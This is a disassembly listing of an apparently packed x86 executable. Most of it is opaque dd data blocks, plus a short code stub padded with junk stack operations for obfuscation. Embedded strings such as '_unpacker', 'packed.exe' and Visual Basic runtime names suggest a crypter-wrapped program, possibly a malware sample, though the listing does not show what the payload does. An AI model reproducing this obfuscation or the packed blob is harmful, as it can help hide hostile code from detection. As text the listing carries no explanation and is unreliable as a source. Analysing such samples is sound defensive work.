		dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh
		dd 9EAF9B2Dh, 15242ABCh
		db 22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	76E3h
		mov	[esp], eax
		push	3774h
		mov	[esp], esi
		mov	esi, 24D83F87h
		dec	esi
		sub	esi, 1EBF1656h
		mov	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		mov	edx, 8
		add	edx, 3B153A9h
		add	edx, eax
		sub	edx, 3B153A9h
		mov	[edx], ebp
		pop	edx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 8AC2A5C0h, 0BB8B5E7h, 306192Eh, 47E0FFC5h, 3F35320Ch
		dd 1B580291h, 5126F98Dh, 821961FBh, 171D1D0Eh, 6D573468h
		dd 6909C573h, 563D509h,	0A37476D1h, 982C808Bh, 84353DAh
		dd 4F3F9809h, 0E86EBC1Eh, 10h, 0F1483958h, 87037CF7h, 0FFE8327Bh
		dd 43D59978h, 0BE665AF8h, 0C2812D62h, 6185h, 0E8FF2BF5h
		dd 5, 0DA761F0h, 6820FD4h, 81000000h, 11A7E3D6h, 34FF5B60h
		dd 0D9816617h, 8058A246h, 0E881C6EBh, 2CEB0208h, 6938C081h
		dd 0C08113B0h, 7697F011h, 50C88B66h, 8FCE8B66h,	6E83A04h
		dd 0AB000000h, 0F855FFBBh, 81BB66E1h, 8B0F5EF7h, 6, 5B91DB81h
		dd 0EF837F41h, 10E804h,	0F7C50000h, 255CDEF0h, 0B67E54B4h
		dd 0B1790802h, 5EF9F8CDh, 9F40FF81h, 850FFFFFh,	0Dh, 24E9h
		dd 7E0AF000h, 32062AACh, 0B5BB6685h, 0FF80E9B1h, 0DC5FFFFFh
		dd 0F333B286h, 9FD838C9h, 6AF5828Fh, 0AC61272Ch, 18CE9B7h
		dd 57010000h, 2C276F21h, 98D31AD5h, 0D1D746B1h,	41EFB4CAh
		dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h,	0E495BCD7h
		dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
		dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
		dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
		dd 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 3 dup(0)
		dd 47E90000h, 68000010h, 619335Eh, 0FB1633E9h, 346A68FFh
		dd 29E90619h, 68FFFB16h, 61935EFh, 0FB161FE9h, 36B868FFh
		dd 15E90619h, 68FFFB16h, 61937E4h, 0FB160BE9h, 38AF68FFh
		dd 1E90619h, 68FFFB16h,	6193982h, 0FB15F7E9h, 39FD68FFh
		dd 0EDE90619h, 68FFFB15h, 6193AD8h, 0FB15E3E9h,	3B5D68FFh
		dd 0D9E90619h, 68FFFB15h, 6193C3Dh, 0FB15CFE9h,	3CD968FFh
		dd 0C5E90619h, 68FFFB15h, 6193D86h, 0FB15BBE9h,	3ECF68FFh
		dd 0B1E90619h, 68FFFB15h, 6193FF8h, 0FB15A7E9h,	2F805AFFh
		dd 0E3CC2151h, 347795FDh, 0E7C8264Eh, 376889F9h, 6BE15549h
		dd 0BBA71986h, 41318F1Ch, 0F39F01AAh, 922C9615h, 0D9EA5EEEh
		dd 0E5E2428Dh, 4A617798h, 0A1FD96CEh, 0EF1E8DD9h, 44E0040Eh
		dd 40DA4DBEh, 44678113h, 6D6ABA5Eh, 208B6143h, 0A51DC104h
		dd 94F7B325h, 91578944h, 51DC6687h, 0E9D265E5h,	76A83EA1h
		dd 0E1D93F3Dh, 1AB7BD79h, 0D0F5189Fh, 0B1F78439h, 326D9400h
		dd 915A0081h, 212A106Fh, 0CB7902B1h, 504848h, 0FBFD0000h
		dd 118E5FE3h, 35D5D82Bh, 44940FC3h, 0B74187B9h,	9581ACB6h
		dd 0A15A0EF5h, 9CAFC3Eh, 79520D73h, 89EC0BBDh, 456E3C6Fh
		dd 7FF3B84Fh, 490416Eh,	0B220C3E8h, 321887A9h, 1ABD5529h
		dd 0DE2C835Bh, 0B743D535h, 48CB4A08h, 0EB4Eh, 61770700h
		dd 0D6FB894Ah, 5C7C08C9h, 6EB6A24Fh, 24F7B32Fh,	0B4E0FACFh
		dd 0E0CB2154h, 0AEC4B82Ah, 0EE44944Dh, 4BF662EAh, 84C64494h
		dd 0F1BA1E76h, 0A605E38Fh, 7DA8B26Dh, 7D1EF199h, 0CAFC3EA1h
		dd 46CE164Eh, 55EA6B08h, 0F6905DC3h, 2FD7BB3Bh,	0BD7951C5h
		dd 0EA0171B3h, 0E75F37C1h, 0C74DFBE4h, 6EDA7266h, 6EB74CF8h
		dd 19F12289h, 41C15789h, 547D2EC9h, 4CC43476h, 6088FAA5h
		dd 68E01DF0h, 0B74CF8FCh, 0A3509ACCh, 3D2ABB67h, 7E153E96h
		dd 0E6B9187Ch, 1A650E5h, 1F9A8571h, 0D7Ch, 87A35D5h, 542E815Ch
		dd 1DFCC20h, 50327D91h,	0E2BD24h, 13BE5ED0h, 896E168Ch
		dd 37D4C022h, 82660E74h, 6125B729h, 8DDB7FE9h, 35604D42h
		dd 5B455A77h, 5EDAD127h, 0E866D27Ah, 14564494h,	346C9C06h
		dd 0BCD3D4BFh, 75607A43h, 56F17FBh, 0F34494E8h,	0A60111B1h
		dd 0B9D38DCBh, 13344E1Fh, 641226BEh, 9E9A5059h,	0A193372Eh
		dd 1ED3153Eh, 79E936AEh, 3E0B33BDh, 0CBF13FCEh,	5DEDE948h
		dd 0BD79E5EBh, 199269E1h, 0D6C749CFh, 0BF000000h, 0C3F0BF4Fh
		dd 0FBE2F107h, 0C38BADE3h, 7B7D2B19h, 29EAC117h, 0A869369Bh
		dd 0CED130A0h, 7CAAC04Ch, 82664494h, 2DCBB729h,	7CC83CCCh
		dd 7EC04494h, 0CE58874Ch, 7853F363h, 0F23EA14Ah, 0C430CAB2h
		dd 5F79E81Fh, 6175E123h, 79447FE9h, 0FD1B4DBDh,	0F5304AA3h
		dd 0EA778901h, 4385C74Dh, 0F9C3BD3h, 941BF2E2h,	0DB5DAB5Fh
		dd 0F1AE53BBh, 0A1FEE38Fh, 11C7728h, 0E6E3CC71h, 0C70h
		dd 3CA609E1h, 88FAB548h, 35AB00DCh, 0A4FEB14Dh,	348E11F0h
		dd 0EF128A7Ch, 45A2D2B0h, 0F3087C66h, 3E9ACAB8h, 0D5B9136Dh
		dd 8DDCC335h, 81CCB942h, 314AE3FBh, 0BB436F26h,	94DED94Bh
		dd 3B6DAF44h, 138C759Dh, 8823C5ADh, 0C3E80090h,	0CC3CBC0Eh
		dd 4494DE58h, 0B6ECEE30h, 4A61770Fh, 0CEDDFB89h, 9B14EA6Ah
		dd 2BE8C717h, 2FD749CFh, 3D35CBEFh, 0F407496Dh,	6E7F1B7h
		dd 0C545B17Ch, 3EA1D10Ah, 2AE15C84h, 9C717A1h, 79161781h
		dd 65A3E5BDh, 0C4ED2FD3h, 791650C8h, 0E4ED4DBDh, 0CB0E4574h
		dd 640948h, 0D2BA0000h,	0D179DD48h, 3EA1F566h, 0EBE11254h
		dd 0BD780375h, 2D01CA70h, 337A129h, 8D05BD78h, 708A406Bh
		dd 0CA07FD0Ch, 38A148h,	0FB720000h, 690A07E3h, 4CCE5334h
		dd 2A0E1923h, 0A18343A2h, 527FC13Eh, 79B7C23Ah,	9939DFBDh
		dd 50AA6738h, 0B7F460E8h, 82C4BD79h, 6DDDE678h,	48CBAF5Eh
		dd 704h, 3D6CD100h, 45000008h, 4AA748D2h, 32DFCC1Fh, 29E112D8h
		dd 38CF77DFh, 0BA3EABD9h, 0EE87306Ah, 0D761F3ABh, 95FDF92Bh
		dd 1A4A3873h, 8909EDBEh, 41793A75h, 0FB859AB7h,	1840C830h
		dd 0E8C74DD7h, 0EF086180h, 5C3F7BCh, 3CBCEECCh,	0AD4134D4h
		dd 0AADAC802h, 7BB45D4Eh, 80F494E1h, 78B7580Fh,	0F4948446h
		dd 0CD6D2FC1h, 54E41F37h, 3660E204h, 3AF774h, 7CA76AE3h
		dd 0AEBFDh, 2B846600h, 7F30CDB5h, 109B7121h, 832CC2B2h
		dd 138C751Dh, 8F0D01ADh, 1F532D72h, 95FDE3C8h, 174B3576h
		dd 0E6F8EAC1h, 0DD3EAA22h, 210E428Dh, 0E9096FF4h, 0D8624494h
		dd 0E9EDE94Dh, 6B17F761h, 7437D5BBh, 0E02CAEF0h, 0C1542759h
		dd 328BF527h, 7119FD28h, 0C74D1752h, 2AAA8ED0h,	1303DDCEh
		dd 771D87FFh, 77FB759h,	0B759779Dh, 0F729396Bh,	5457B1E1h
		dd 89F6909Fh, 59779701h, 0E52365B7h, 6A0BE171h,	24CD1B94h
		dd 504454E6h, 4E8328C0h, 0C6049B46h, 5E98D834h,	6698CD66h
		dd 258662F2h, 7A31C7BBh, 87DF4339h, 0A142920h, 5E7371Fh
		dd 96C113E7h, 9333E3F5h, 5315C838h, 3CDFEC1Eh, 0A9E4CA37h
		dd 0A220B7Eh, 0DB2F0000h, 6786EED4h, 0D22A5A48h, 637BE7D9h
		dd 0C32E564Ch, 44BAE6DCh, 0C7629C8h, 0B62C7F58h, 247E2DCEh
		dd 0AD139870h, 65CF771Fh, 53428DDEh, 48D22F56h,	905EA8F7h
		dd 4E8C573Eh, 8CB894EFh, 141ACA00h, 897BEAE0h, 87D73F89h
		dd 963240A6h, 3C5CDEEAh, 0AB6775CCh, 3D9B133Eh,	4D6E8D88h
		dd 0D1173133h, 6AA00BE1h, 298266EEh, 37A1292Dh,	5BD73E5h
		dd 77EB35C3h, 56894A61h, 55F561CCh, 0C74CD5CAh,	4CB85044h
		dd 3CB75935h, 5294F00Ah, 218A6EE6h, 7635D3BFh, 8D98A23Dh
		dd 8FFA79A9h, 6EA3F042h, 6FE7218Ah, 59656DD7h, 0F295BB7h
		dd 4D097F07h, 0C5F7CD66h, 8427C151h, 815AFA1Eh,	711E92Ah
		dd 0E9086D8Bh, 0BBDFDB6h, 39D242C6h, 0B5DC48C0h, 7AACA920h
		dd 0FA62AA30h, 35A920B5h, 7018002Bh, 0D31F9DE5h, 0ED65D113h
		dd 18876A0Bh, 6DE91FDBh, 6DA609E5h, 1AE5758Dh, 0E31B8B2Fh
		dd 4197CB55h, 0EC76A96Ah, 9635D541h, 94D93098h,	0F48EA152h
		dd 664DBD39h, 0B8DF23EAh, 4EECBF18h, 26F774B6h,	0BB589814h
		dd 8F6F990h, 7F5B0000h,	0CB225230h, 7696FEE4h, 0C7174B35h
		dd 678AFAE8h, 0E0564A38h, 0A81A856Ch, 32901BBCh, 0A002A942h
		dd 299714F4h, 0E95BEB93h, 0DF428DDFh, 61779BE2h, 0DDFB894Ah
		dd 0EAA825CEh, 3C6F89E1h, 0F0F70646h, 79BB126h,	68000000h
		dd 4D66Ch, 0E3FB4500h, 0AC995A7h, 81A23885h, 95B3EBBFh
		dd 0D361FBE4h, 11F057DFh, 6C9EFD14h, 7687A1CEh,	62D6148Bh
		dd 0A13C93EAh, 4F2F713Eh, 0AD17AFA3h, 9BBD795Dh, 16D4DB33h
		dd 0C6E8804h, 7B05E877h, 41C048B0h, 3F18400Bh, 0CC44D4FDh
		dd 74797F2Ch, 0BDF359EAh, 0BA4B0889h, 4B8008F0h, 491E5120h
		dd 0A04128C9h, 0D32FC9FFh, 0CB2DA591h, 769202E0h, 0C6733435h
		dd 1F0897E0h, 82BAAh, 0EBC42600h, 3F708DF5h, 0D0DB3161h
		dd 436C82F2h, 0D3CC355Dh, 0CF4DC1EDh, 5F136D32h, 0D5BD2388h
		dd 570B7536h, 26B82A81h, 0D07EEA62h, 614E428Dh,	64617734h
		dd 66E7B18Bh, 228962A6h, 19CF19F1h, 0DD3070D8h,	611AD72h
		dd 0CE335F79h, 44DEEFD1h, 985259B3h, 80AF28A0h,	81993EABh
		dd 0F30B0A21h, 6D3E9D74h, 0D4448644h, 737DC034h, 4486B8BDh
		dd 9F588CD4h, 3DDA4EBEh, 70B2BD73h, 0B4BE8454h,	3E667226h
		dd 0D627B59Fh, 292A85Ch, 4551C5E6h, 730453C5h, 0CBF729BDh
		dd 825A4D06h, 0CA58E253h, 446D3E9Ah, 0A29691ABh, 4C47972Ah
		dd 332365C7h, 146E3D9Bh, 33238860h, 0CF69369Bh,	0FEEF1282h
		dd 5A861A8Eh, 0FAB0F2B7h, 0F784A871h, 4F6A5570h, 758h
		dd 0F4CEE1F9h, 60426D80h, 0EDD3D834h, 5C466985h, 0ECD6C928h
		dd 27CA42B4h, 7D5A0A78h, 0CB20542Eh, 769202E0h,	8D714B35h
		dd 8DD18BFDh, 39848142h, 79DD48D2h, 9619F55Dh, 1897675Dh
		dd 4FE91FDBh, 0ABD860BBh, 0D22AAA3Eh, 0AF644BA3h, 0F78B8D5Bh
		dd 27C151C5h, 92761E84h, 91391D19h, 0BD723827h,	0C45D315h
		dd 7ADE49D3h, 472A8FD2h, 2E3B6DC7h, 70FCD555h, 0DD80F922h
		dd 74000006h, 0BBA71996h, 3F338D22h, 0F0A4FEADh, 432F911Eh
		dd 2F9F019Eh, 6B349D3Fh, 0C1EA0D75h, 5358B3DFh,	0C8E3056Dh
		dd 8CFC04DAh, 428DD118h, 77CAF3F0h, 0FB894A61h,	0A825CEDDh
		dd 0DCCF2CA4h, 7BD3A03Eh, 0E8744E5Dh, 0B126ECD9h, 77Dh
		dd 0B86C5600h, 45000002h, 894A6177h, 0F561CC56h, 0ABD9CA55h
		dd 0A338B03Eh, 0D3EFCB08h, 0C3D60F7Ah, 512F79DEh, 4DAEC721h
		dd 5D67AC5Eh, 272B2B74h, 72F2359Fh, 37C103BDh, 35E5FDE9h
		dd 0AD433FE8h, 0A6C0AD4Bh, 0BA439D9h, 722E157Fh, 67A1E3BDh
		dd 1EE557EFh, 5BD3C74Dh, 11E92A81h, 19EF5FD7h, 0A4443092h
		dd 0D63ECA07h, 0E7E7A31h, 0B7597E9Ah, 6AAA3072h, 44DB1887h
		dd 7F07EF3Ah, 0CD6C6D24h, 2A1B90D2h, 0FF6AE399h, 602B5D4h
		dd 0BB4F0000h, 7E68EF4h, 0B24A3AA8h, 3DB87F9h, 0A34E36ACh
		dd 241A86FCh, 6C5649A8h, 0D6CCDFF8h, 845E4DAEh,	0CDB3F810h
		dd 56F17FFh, 0F3428DD2h, 0E3FBCFF6h, 5566C90Ah,	0A1F1072Bh
		dd 25AF6447h, 922BE8C3h, 798FE7F4h, 28A85032h, 0E01AD7D4h
		dd 0F313A25Ah, 0D9BDB126h, 94FFC731h, 8629C544h, 0B3F56D4Dh
		dd 0EEB25h, 6C980000h, 16Bh, 0BAF50888h, 1C37C1F9h, 414A6177h
		dd 7D29164Eh, 7D615843h, 0D4000005h, 5B077936h,	1F532D82h
		dd 9004DECDh, 234F317Eh, 0CFFFE1BEh, 8B14BD5Fh,	218A6D15h
		dd 7338D3BFh, 2883650Dh, 0EC5C24BAh, 428DD378h,	772A5350h
		dd 46CE4A61h, 0FBCF049Bh, 8E0F4DDh, 0C21BB3A3h,	74E36407h
		dd 2F79057Fh, 0BB1CA8A9h, 0EE21C3F0h, 9971FE2Ah, 8926B7BBh
		dd 0B8812948h, 25311796h, 94C633A5h, 41D70944h,	9276CE9Bh
		dd 53B51D19h, 1C60C258h, 0B126C2EDh, 20B1h, 19B1A500h
		dd 4494CEAFh, 86CD6B9Dh, 0C66Ch, 0C06C4500h, 88000000h
		dd 0D0B0AA58h, 52E8FF48h, 0DD48D203h, 0D94ED179h, 0FA2C3EABh
		dd 0C3434FB9h, 0BD722751h, 0AE3F527h, 0C941B570h, 0C747225Ah
		dd 440C2038h, 3FF347DEh, 0C9AF30Eh, 0F212D82Bh,	71CB0B43h
		dd 9613D531h, 70FC7A8Bh, 9D1AAF98h, 0B4000004h,	0FB675956h
		dd 7FF3CDE2h, 30643E6Dh, 83EFD1DEh, 6F5F415Eh, 2B745DFFh
		dd 812ACDB5h, 1398731Fh, 8823C5ADh, 4CBCC41Ah, 428DD4D8h
		dd 0D28AB3B0h, 5D79DD48h, 0CC109845h, 81397A25h, 1EB5161h
		dd 0F1A893F7h, 5C8E3EA2h, 139874DCh, 34C949ADh,	0B62D5D7Bh
		dd 0A4BD796Ah, 9796744h, 2040B8F3h, 3BAEE43Ch, 806151C5h
		dd 218F21Fh, 42AB8D1h, 0D2790000h, 0D179DD48h, 3EABD94Eh
		dd 0F0BB50C0h, 0AB689AEAh, 0D73FEA74h, 4722C02Fh, 0FF8CBEC7h
		dd 70FCC80Ch, 19B2E19h,	50000004h, 0D78BF5BAh, 4B37A906h
		dd 0DC88FAB1h, 9FD3AD02h, 4B835D42h, 0FFA041DBh, 9516F1A1h
		dd 7A4372Bh, 9C0FE999h,	58F09826h, 428DD4ECh, 0D2A6EFDCh
		dd 0D179DD48h, 3EABD93Ah, 7F2CC028h, 0F7B1EE13h, 2D728FFFh
		dd 0A94E4684h, 0DFF9D102h, 6A419737h, 4849078h,	0BD722790h
		dd 90048468h, 68BD7227h, 2E667436h, 2D75E1CAh, 4E25837Fh
		dd 656E8C04h, 8175B0CAh, 4DCD5309h, 876FB1C7h, 1FB9F607h
		dd 0AA01D777h, 0E9C226AEh, 47A1D14Fh, 0E680AF64h, 0A943CB4Bh
		dd 0DFF9D102h, 15648F37h, 90D2CD6Dh, 0E2D2F21Bh, 7DFC276Ah
		dd 354h, 0F0D2DDFDh, 5C466984h,	0E9D7D428h, 584A6579h
		dd 0E8DAC52Ch, 1BC646B8h, 91761E84h, 1FBCA81Ah,	8A6E168Ch
		dd 692DBF21h, 8DD577E1h, 0FD484542h, 894A6177h,	0F4CEDDFBh
		dd 5EB041DBh, 279F9751h, 3EA1F69Ch, 50C0386Ah, 5C5EEB1h
		dd 76EEDEF3h, 73BD7802h, 7F8EFECBh, 2348CA06h, 4Fh, 0DD48D2F0h
		dd 1D455D79h, 0F7B4475Eh, 7320D3CBh, 433E2565h,	0DA0C3EA1h
		dd 9912F65Eh, 0C23A527Fh, 0DFBD7939h, 6C3F9939h, 39E85CECh
		dd 9EE0BD79h, 89F9C29Ch, 48CB217Ah, 10120h, 0AC1C3800h
		dd 0BD793538h, 0C01DE810h, 1E4C0CFDh, 77074EECh, 0FB894A61h
		dd 7C08C9D6h, 0BB2D9D5Ch, 914494E8h, 0E8BB2D9Dh, 4F914494h
		dd 0B6A24F99h, 0D6EEBD1Eh, 4FF8DE5Eh, 0CB47D103h, 0FCAF482Dh
		dd 0DBC503B7h, 94F9CB9Fh, 3DCDC944h, 4494FFCBh,	0F9B249C1h
		dd 32C802B8h, 9F6F06E2h, 7CE8DA10h, 0B6A24F5Ch,	27ECB31Eh
		dd 1E2845D3h, 54FB2313h, 1D48ECF6h, 0EE5E3AC0h,	3EA1F74Bh
		dd 0F47A1941h, 0D9DA3B82h, 21CB10Fh, 0CD972F27h, 0CFC74C4Ch
		dd 8F03A83Fh, 5AAA307Fh, 41A03028h, 0F110845Eh,	7A9ABDAEh
		dd 0E4CF70FFh, 20BE5h, 0BA44600h, 9F10ED95h, 0F0BB5141h
		dd 0A30CE292h, 0F3AC553Dh, 0AF2D218Dh, 0FF734D52h, 0B5DDC3E8h
		dd 0F76B5556h, 6D8CAE1h, 0D61E8A02h, 1EE428Dh, 5DE3FBD4h
		dd 2EC8137Ch, 496286EEh, 6CA83288h, 0BCA81A85h,	0C5318F1Ch
		dd 9F16AF4Dh, 43103748h, 63975C8Eh, 48D27ED5h, 0FED979DDh
		dd 34C604ADh, 0BDFDE464h, 99CB3EA1h, 3CFC6458h,	2DCBD78h
		dd 3C198BFBh, 0ADEFBD78h, 30CEB6FBh, 9B3B527Fh,	1535ACCEh
		dd 242DDC4Ch, 0D47148CAh, 22000000h, 0F8146177h, 7296FEB3h
		dd 0F5536F39h, 7D65B0Fh, 2B995A90h, 0A418D9C6h,	449453CEh
		dd 0FDF896CEh, 0E0B58CDEh, 8D1EBA5Ah, 50A93F33h, 941A4CB8h
		dd 8A0A3C44h, 36943D6Eh, 96B03F74h, 17B79B9Bh, 0D02AE7C4h
		dd 2B67C24Ah, 0D3153EA1h, 748909EDh, 0B6D09D3Bh, 180B7B7Bh
		dd 0EEC74D86h, 3AD43CBCh, 9FB36375h, 0C1049B7Fh, 4C91DF49h
		dd 477BADB7h, 47D1366Dh, 7D7926CBh, 0FDB6F915h,	7DE53BBDh
		dd 0B8F31554h, 0CD7FD9FBh, 62C3C8FDh, 406962A8h, 8D7101ABh
		dd 0E227A2h, 9B6F0000h,	27C6AE14h, 926A1A88h, 23BBA719h
		dd 836E168Ch, 4FAA61Ch,	4C366988h, 0F6ECBF18h, 643E6D8Eh
		dd 0EDD3D830h, 258F37DFh, 13428DD7h, 5A77EF16h,	0D1275B45h
		dd 77BDE8DAh, 0FB894A61h, 38AC1CDDh, 104494E8h,	19A61CCEh
		dd 9C34240Fh, 0C9CD6B40h, 0ABC00F41h, 8109ED3Eh, 0BD723817h
		dd 0AC65A3E5h, 52B5C018h, 18B09859h, 0BD7238ACh, 34A06A9Ch
		dd 0E01AD7D4h, 17F62E2Ah, 2193339Bh, 17BD72A6h,	0C2153DE5h
		dd 751D8395h, 201893h, 0F9F6CD34h, 0DCF50332h, 225A346Ch
		dd 0B368DC6Ch, 1E60BD72h, 0A7763F06h, 62985956h, 9AFA92A8h
		dd 0FBA26A7Eh, 4C5F7D15h, 37A53387h, 7536D22Ah,	2A81570Bh
		dd 6546A62Eh, 0F8167ED3h, 87416A81h, 0ACB5194Ah, 89F7B454h
		dd 67ACFFD9h, 352h, 59402300h, 874C6377h, 23D0DBFDh, 0A0515AB1h
		dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh
		dd 0B45D52ABh, 0E2895252h, 4C281h, 0EA830000h, 24148704h
		dd 5124248Bh, 0C181E189h, 4, 4E981h, 0C870000h,	4895C24h
		dd 5BA56824h, 1C890000h, 4EC8324h, 0BA241489h, 61931E3h
		dd 815AD089h, 4ECh, 24248900h
		dd 4240481h, 5B000000h,	8BA52h,	0DA010000h, 24348150h
		dd 10CA1255h, 3281028Fh, 10CA1255h, 2434FF5Ah, 4C4815Bh
		dd 8B000000h, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 5FEE95Ch, 357FFFBh, 9DE22AF0h, 0FFB819F8h, 3061940h
		dd 0CAE0FFC5h, 484B5727h, 2841101Fh, 0CB0C7439h, 3C174C7Ah
		dd 0C53FF86h, 82651F61h, 0C445FC5Fh, 80563EBBh,	69751085h
		dd 120F10D0h, 6A4D36C6h, 63507445h, 7E241954h, 0CB1513FCh
		dd 0BA051D38h, 3599D00h, 6547CC24h, 9A143D07h, 0E848F8D2h
		dd 10h,	56150450h, 0A09A9B94h, 0CF61081Ah, 88F054Dh, 0D1F728B8h
		dd 0D7815B1Eh, 2D6DE103h, 5A3BC381h, 860F0000h,	5, 3CC88166h
		dd 166968CBh, 0CDB40000h, 0C840F59h, 60000000h,	0D0EABA66h
		dd 6A17DE81h, 8B6119D0h, 0F575713h, 86h, 815E5E00h, 0EF33A6C2h
		dd 0EA81F85Eh, 30A1BDD6h, 0CD36C281h, 13893FE7h, 0BCEB81F8h
		dd 0E81186C0h, 9, 5B23C443h, 0BAB11C52h, 5FC38B81h, 0C0B8C381h
		dd 0F8571186h, 1E9815Eh, 0F000000h, 0FFFFB285h,	0B2DF81FFh
		dd 8D0509BEh, 1943C38Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0B813FDE9h, 16B5B529h
		dd 8D890613h, 6131BBDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 10C35242h, 6FD1BC45h,	8BE07850h, 131721BDh
		dd 0DD85C706h, 0E4061318h, 6A000059h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F947C357h
		dd 0C2565B97h, 899C471Dh, 13348995h, 5585C706h,	61330h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0B8D2C355h, 4ABDF9CDh,	66600F31h
		dd 9746E781h, 0CE9h, 0BFF89300h, 6ABEDBD0h, 2B70CCA7h
		dd 0B5FF61DAh, 613125Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 63C35141h, 8D297130h,	6130EC5h, 5E9h
		dd 1FB78900h, 95FF9787h, 6131D89h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0B2C35141h,	8ACA3677h, 221D9589h
		dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C7DC08EBh, 7E0EA353h
		dd 77E9AFC8h, 70000001h, 0DD1459DDh, 437C8360h,	5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 6 dup(0)
		dd 0F3E90000h, 6800001Bh, 6194749h, 0FA3C07E9h,	483268FFh
		dd 0FDE90619h, 68FFFA3Bh, 6194959h, 0FA3BF3E9h,	4A0068FFh
		dd 0E9E90619h, 68FFFA3Bh, 6194A3Fh, 0FA3BDFE9h,	4B1F68FFh
		dd 0D5E90619h, 68FFFA3Bh, 6194B85h, 0FA3BCBE9h,	4BCC68FFh
		dd 0C1E90619h, 68FFFA3Bh, 619531Ah, 0FA3BB7E9h,	53C268FFh
		dd 0ADE90619h, 68FFFA3Bh, 61954ABh, 0FA3BA3E9h,	558468FFh
		dd 99E90619h, 68FFFA3Bh, 61955E6h, 0FA3B8FE9h, 56D968FFh
		dd 85E90619h, 68FFFA3Bh, 6195779h, 0FA3B7BE9h, 580D68FFh
		dd 71E90619h, 68FFFA3Bh, 6195E95h, 0FA3B67E9h, 5F7168FFh
		dd 5DE90619h, 68FFFA3Bh, 619600Eh, 0FA3B53E9h, 0D87ECCFFh
		dd 0C886D8FAh, 0D674C8EAh, 0CF81D2F8h, 0D87CC9EFh, 764CBFAh
		dd 163C9ABAh, 0C2E8CC6h, 0F3191B7h, 23308EBEh, 0FB4DC93Ch
		dd 31616B6h, 70E5C25Fh,	109DB516h, 0F419BEDFh, 29BF1439h
		dd 3283D51Fh, 230C4B1Ah, 0E0FB8E21h, 81D0F257h,	76C709D3h
		dd 0B1B8F8D6h, 2A87F6D5h, 23168F2Ch, 90A1B1FFh,	0DDFA6771h
		dd 8B282EA8h, 0F796F70Ah, 0EB5DF2D8h, 32B13B5Ah, 8B2843C3h
		dd 0DB709A0Ah, 9BB5062Ch, 0D9814BCAh, 5AAC951Bh, 30C3h
		dd 0BEA39700h, 9B7AEBC8h, 6C168E98h, 69E91829h,	0C00A8A89h
		dd 9F01AC93h, 6180B70Bh, 0D0D9F02Bh, 4D97F63Eh,	562646C3h
		dd 0FE5AAD64h, 0C5h, 0E06CBD64h, 74E06D51h, 0FC50E1E5h
		dd 8AF9F8DFh, 0D21B001Bh, 0E6775B0Ah, 1154866h,	0A5109DE3h
		dd 0B79B3814h, 0F5142525h, 7ACBEDEBh, 5E4483D2h, 50B180CAh
		dd 8B352C88h, 14A2BC76h, 6611B6C3h, 21BB6CDh, 2109A6C7h
		dd 0ED20BF93h, 109DD471h, 0C411DB3Ah, 8ED9AC91h, 0A2008516h
		dd 0AC0B7B66h, 75305439h, 0CBE82D10h, 0DCFA5AE7h, 78ED67F6h
		dd 79F9038Ah, 5FE1FCABh, 6000019h, 1A409EB8h, 22886C8h
		dd 1C3E9CAEh, 32585CBh,	0D409EB6h, 0D87CC922h, 0CA88D8FAh
		dd 0D771C6ECh, 0CC80D1F7h, 8BFAE5EEh, 16B6FC0Fh, 0BD9DC1D8h
		dd 0E9C6E470h, 8EDF73C1h, 4293C50Fh, 7156F647h,	8DE3CA35h
		dd 8E2C4D97h, 0C8BEA334h, 0C3A5C4EBh, 3F76CD5Fh, 0A80FAFB7h
		dd 0E4775C94h, 449E0564h, 7E7AD8F4h, 0A7B5860h,	168EE60Bh
		dd 59A8B9DCh, 0A8AD5F9h, 0FB240350h, 2A3F8BD5h,	59B5A498h
		dd 220A8AEEh, 1AAFD9E3h, 0ACD322F2h, 0A68A5Ah, 0BDB00000h
		dd 6D51E06Ch, 94E574E0h, 109DB182h, 19B99326h, 97A6A637h
		dd 99365099h, 0A83024B1h, 0B6573AABh, 0ED30168Eh, 0EE98D1CDh
		dd 3658E9D1h, 8AA34BC7h, 90F1140Ah, 29B39D2Eh, 1C5B92Ch
		dd 5FBE1075h, 490B5A80h, 5AFA4769h, 0F8E34927h,	0BA975679h
		dd 1876h, 0D3F363EFh, 0D1F15DEDh, 0CDED5DEFh, 0D6F45CEBh
